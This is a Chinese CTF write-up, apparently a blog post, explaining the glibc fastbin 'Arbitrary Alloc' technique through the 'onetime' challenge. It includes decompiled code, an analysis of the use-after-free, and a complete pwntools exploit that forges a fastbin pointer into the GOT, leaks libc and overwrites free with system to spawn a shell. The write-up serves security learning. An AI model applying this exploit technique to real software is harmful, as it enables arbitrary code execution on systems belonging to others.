Arbitrary Alloc学习
w4dd1e 发表于 河北 二进制安全 692浏览 · 2024-04-05 03:09

0x10 前言

Arbitrary Alloc技术的本质是劫持fastbin的fd指针,使其指向fake chunk,只要分配的chunk size域合法,攻击者可以分配该chunk到任意地址,实际效果相当于任意地址写

利用前提:存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

0x20 检查

以下是glibc2.27版本的检查

/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

(unsigned int) (sz)强转为无符号整型,(SIZE_SZ == 8 ? 4 : 3) 如果为64位右移4位,否则右移3位

以sz为0x2f,64位系统为例,右移4位为2,-2后为fastbins索引0

值得注意的是_int_malloc会对分配的size域进行验证,不符则抛出异常

if (__glibc_likely (victim != NULL))
    {
      size_t victim_idx = fastbin_index (chunksize (victim));
      if (__builtin_expect (victim_idx != idx, 0)) #检查1malloc的free chunk大小是否在fastbin链范围内
    malloc_printerr ("malloc(): memory corruption (fast)");
      check_remalloced_chunk (av, victim, nb); #检查2free chunk的PREV_INUSE位是否为1

检查1:检测你要malloc的free chunk的大小是否在该chunk所在的fastbin链的大小尺寸范围(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这free chunk却是0x50,那么就会程序就报错退出)。
检查2:检测你这个free chunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。

所以构造例如0x70的fastbin,fake_size在[0x70,0x7f]区间都能满足第一个size检查

0x30 题目

下面,我们通过长城杯的一道题目来了解

checksec onetime检查下程序的保护

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

ida反编译,main函数是一个菜单

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to one-time pad!");
  while ( 1 )
  {
    menu();
    memset(s, 0, sizeof(s));
    read(0, s, 4uLL);
    switch ( atoi(s) )
    {
      case 1:
        if ( has1 == 1 )
        {
          puts("you have done it before");
          exit(0);
        }
        new();
        break;
      case 2:
        if ( has2 == 1 )
        {
          puts("you have done it before");
          exit(0);
        }
        input();
        break;
      case 3:
        if ( has3 == 1 )
        {
          puts("you have done it before");
          exit(0);
        }
        output();
        break;
      case 4:
        if ( has4 == 1 )
        {
          puts("you have done it before");
          exit(0);
        }
        dele();
        break;
      case 5:
        if ( has5 == 1 )
        {
          puts("you have done it before");
          exit(0);
        }
        func5();
        break;
      default:
        puts("option wrong!");
        exit(1);
    }
  }
}

漏洞点是在dele函数,调用free后不置空指针

int dele()
{
  int result; // eax

  free(p);
  result = puts("complete!");
  has1 = 0;
  has4 = 1;
  return result;
}

这里我们存在uaf可以利用

一般来说存在uaf我们可以用fastbin double free来打,但是这道题限制了free操作只能进行一次,即free(p)has4 = 1,如果再进入这个函数就会退出。有这个条件限制,我们就无法构造double free,只能另辟蹊径。

指针p储存在bss段

在input函数中,我们注意到可以往p所指向的地址写入数据,并且没有对p指针做检查,所以我们可以对fastbin chunk进行写入操作。这时,可以人为构造一个fd指针,使其指向我们想要分配的地址,实现任意地址分配

int input()
{
  int result; // eax

  printf("fill content:");
  read(0, p, 0x40uLL);
  result = puts("complete!");
  has2 = 1;
  return result;
}

new函数

int new()
{
  int result; // eax

  p = malloc(0x60uLL);
  result = puts("complete!");
  has1 = 1;
  return result;
}

func5函数

__int64 func5()
{
  printf("Hero! Leave your name:");
  p = malloc(0x60uLL);
  read(0, p, 0x60uLL);
  return (unsigned int)++has5;
}

我们的初步思路是:

  1. malloc(0x60)并将指针赋值给p
  2. free(p)并将has1置0
  3. 伪造fd指针

伪造fd指针时,为通过检查,size域的大小应在[0x70,0x7f]。

我们知道,因为got表的延时绑定机制,完成延时绑定的函数got表指向的是glibc地址,glibc地址最高字节是0x7f

gdb调试,查找可以用来伪造size域的地址

我们可选用0x60207d地址作为fake_fd

第二次malloc时,glibc会将fake_chunk(0x60207d)分配回来,然后通过程序

  1. 将指针p修改为0x602010(free_got-8),将has2,has4的值置非1
  2. 泄露libc地址,获得system在libc中地址
  3. 0x602010(free_got-8)指向的地址修改为/bin/sh\x00,将free_got修改为system
  4. 调用free函数完成攻击

exp:

from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./onetime')
libc = ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b) 
sa = lambda a,b: p.sendafter(a,b) 
sl = lambda a: p.sendline(a) 
s = lambda a: p.send(a) 

def create():
    sla(b'your choice >>\n', b'1')

def fill(content):
    sla(b'your choice >>\n', b'2')
    sa(b'fill content:',content)

def show():
    sla(b'your choice >>\n', b'3')

def dele():
    sla(b'your choice >>\n', b'4')

fake_chunk = 0x60207d
got = 0x602010
payload = b'a' * 0x1b + p64(got) + b'a' * 0x10

offset = libc.symbols['free'] 

#伪造free_chunk
create()
dele()
fill(p64(fake_chunk))

#free_got-8覆盖指针p,has2,has4置为非1
create()
sla(b'your choice >>\n', b'5')
sa(b'Hero! Leave your name:',payload)

show()
p.recvuntil(b'data:')
libcbase = u64(p.recv(6).ljust(8, b'\x00')) - offset - (0x00007f9aa8a866a0 - 0x00007f9aa8729a70)
log.success('libcbase => ' + hex(libcbase))

sys = libc.symbols['system'] + libcbase

#gdb.attach(p)
#pause()

so = b'/bin/sh\x00' + p64(sys)
fill(so)
dele()

p.interactive()

0x40 引用

https://blog.csdn.net/qq_41453285/article/details/97753705

附件:
0 条评论
某人
表情
可输入 255

没有评论